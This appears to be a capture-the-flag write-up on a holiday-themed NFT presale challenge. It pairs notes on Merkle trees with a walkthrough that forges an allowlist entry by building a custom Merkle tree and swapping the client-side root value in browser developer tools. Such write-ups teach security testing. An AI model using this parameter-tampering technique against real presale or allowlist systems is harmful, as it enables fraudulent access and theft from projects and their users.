First things first, from the information in the hints, it becomes clear to me that having the Solidity source code would be helpful. I can obtain KringleCoin.sol and BSRS_ntf.sol from the Blockchain Explorer at Block 1 and Block 2 respectively - because these are the transactions in which the KringleCoin and BSRS_NFT smart contracts were created.

My next step was to make notes on what a Merkle Tree is: Also known as a hash tree A tree in which we label every “leaf” (node) with the cryptographic hash of some data. We can use Merkle Trees to prove that data is included in a list while using little storage to perform said proof.

Notes from NFT video:

  • Non-fungible token
  • Non-fungible == something that is unique or distinguishable
  • A non-fungible token is unique, one of a kind
  • NFTs differ from cryptocurrencies in that manner, because cryptocurrencies are all the same and can be exchanged easily
  • However, similarly to cryptocurrencies, NFTs are based on smart contracts and live their lives on a blockchain
  • The smart contracts for NFTs end up being different, however, because they need to account for their uniqueness that make NFTs special
  • The Ethereum blockchain requires NFT smart contracts be compliant with the format ERC-721 so the blockchain can display information about the NFT properly
  • Merkle Trees are data structures used for various purposes in NFT contracts (creating pre-sale allow lists, etc.)
  • Three types of nodes in a Merkle Tree:
    • Leaf Node
      • Bottom of the tree
      • Value is created by using a specific hash function on the original data you wanted to store.
      • I.e., if you wanted to store wallet addresses on the tree, you would store 4 different values in D, E, F, and G. Those values would be created by hashing those wallet addresses.
    • Parent Node
      • B and C in the diagram (the middle).
      • May be multiple levels of parents depending on the size of the tree.
      • Its value is determined by concatenating the hashes of the nodes below it, and hashing THAT value.
      • IMPORTANT NOTE: order is important - left to right.
    • Root Node:
      • The single node sits at the top. (A in diagram)
      • Its value is created in the same way as a parent node.
  • Merkle Trees do not require any knowledge of the original data blocks to verify that a node belongs to our tree.
  • All we need to know is:
    • The original piece of data that we’re trying to verify (i.e., my wallet address)
    • The direct neighboring leaf node for that hash (if any)
    • The neighboring parent node hashes directly above the leaf node
  • If we know those things, we can use those together with the value at the root node to mathematically prove that their data was part of the data used to build the tree (original leaf node). I.e., we can mathematically prove that we were “actually” on the orc pre-approve list.

Notes from GitHub repo:

  • This code will create a sorted Merkle Tree using the same hashing algorithm as the Ethereum Blockchain.
  • It can create a tree with any number of leaf nodes (takes longer depending on how many nodes).
  • So in summary, you pass this script:
    • an allowlist []
    • The index of the allowlist that holds the data you’re trying to prove. I.e., allowlist[1]
  • and it outputs:
    • The root node hex value
    • The three proof hex strings
    • Both of which you need to verify whether you are on the orc presale list
  • So, suppose you want to prove that your address, 0x3333333333333333333333333333333333333333, is on that original list of addresses allowed to pre-order an NFT. In that case, you provide your address and the three proof values. The NFT code can do these calculations, and if it creates a root value matching the original root - well, that proves that your address was on the original list.

  • The only value the NFT producer needs to keep in their blockchain code is the root value itself! Because keeping anything stored on the blockchain is expensive, this is a huge benefit! Of course, the root mustn’t be able to be altered, which is why keeping it IN the smart contract on the blockchain is what smart developers do.

  • And this bears repeating: none of the proof values gives anyone any information about the other original data values.

  • Of course, Merkle Trees can be MUCH bigger than simply having eight leaf nodes. As the number of leaf nodes grows, so does the number of values in the proof, but that number grows slowly compared to the increase in the size of the leaf nodes. A proof containing 32 integers would be sufficient for a Merkle Tree with 4,294,967,296 leaf nodes!

Looking through the BSRS_nft.sol source code, one function is critically important- verify():

    function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
        bytes32 computedHash = leaf;
        for (uint i = 0; i < proof.length; i++) {
          bytes32 proofElement = proof[i];
          if (computedHash <= proofElement) {
            computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
          } else {
            computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
          }
        }
        return computedHash == _root;
    }

This function accepts any wallet address (real or fake) and a set of proofs (one or more). It then concatenates that data together, hashes that, and returns the comparison (bool) against it and the root node value.

According to the hints, however, I need to start by making my own Merkel tree.

I can make my own Merkel Tree by updating the allowlist with my wallet address in the Python script:

allowlist = ['0xA70DF9cd4aB45fE876799D29207FBc3489e09fed','0x0000000000000000000000000000000000000000']

That gives me the following information needed to solve the challenge:

Root: 0x564e886680fd3e900a0ce50fd88c6fdae618d691829d764375cfdc8fca5cdea3
Proof: ['0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a']
And my wallet address: 0xA70DF9cd4aB45fE876799D29207FBc3489e09fed

I can submit my wallet address and the proof via the website. However, I cannot submit my root value.

If I inspect the BSRS website source code, I can see that this Javascript function gets called when you submit your values in the presale form:

function do_presale(){
	if(!guid){
		alert("You need to enter this site from the terminal at the North Pole, not directly. If are doing this directly, you risk not getting credit for completing the challenge.");
	} else {
		var resp = document.getElementById("response");
		var ovr = document.getElementById('overlay');
		resp.innerHTML = "";
		var cb = document.getElementById("validate").checked;
		var val = 'false'
		if(cb){
			val = 'true'
		} else {
			ovr.style.display = 'block';
			in_trans = true;
		};
		var address = document.getElementById("wa").value;
		var proof = document.getElementById('proof').value;
		var root = '0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1';
		var xhr = new XMLHttpRequest();

		xhr.open('Post', 'cgi-bin/presale', true);
		xhr.setRequestHeader('Content-Type', 'application/json');
		xhr.onreadystatechange = function(){
			if(xhr.readyState === 4){
	            var jsonResponse = JSON.parse(xhr.response);
	            ovr.style.display = 'none';
	            in_trans = false;
	            resp.innerHTML = jsonResponse.Response;
			};
		};
	    xhr.send(JSON.stringify({"WalletID": address, "Root": root, "Proof": proof, "Validate": val, "Session": guid}));
	};
}

The major thing to note here is that the root node value is present in the client-side source code. As such, I can alter that string contents in any browser developer tools to match my root node value of 0x564e886680fd3e900a0ce50fd88c6fdae618d691829d764375cfdc8fca5cdea3 and I will always be validated on the list!

Written on December 15, 2022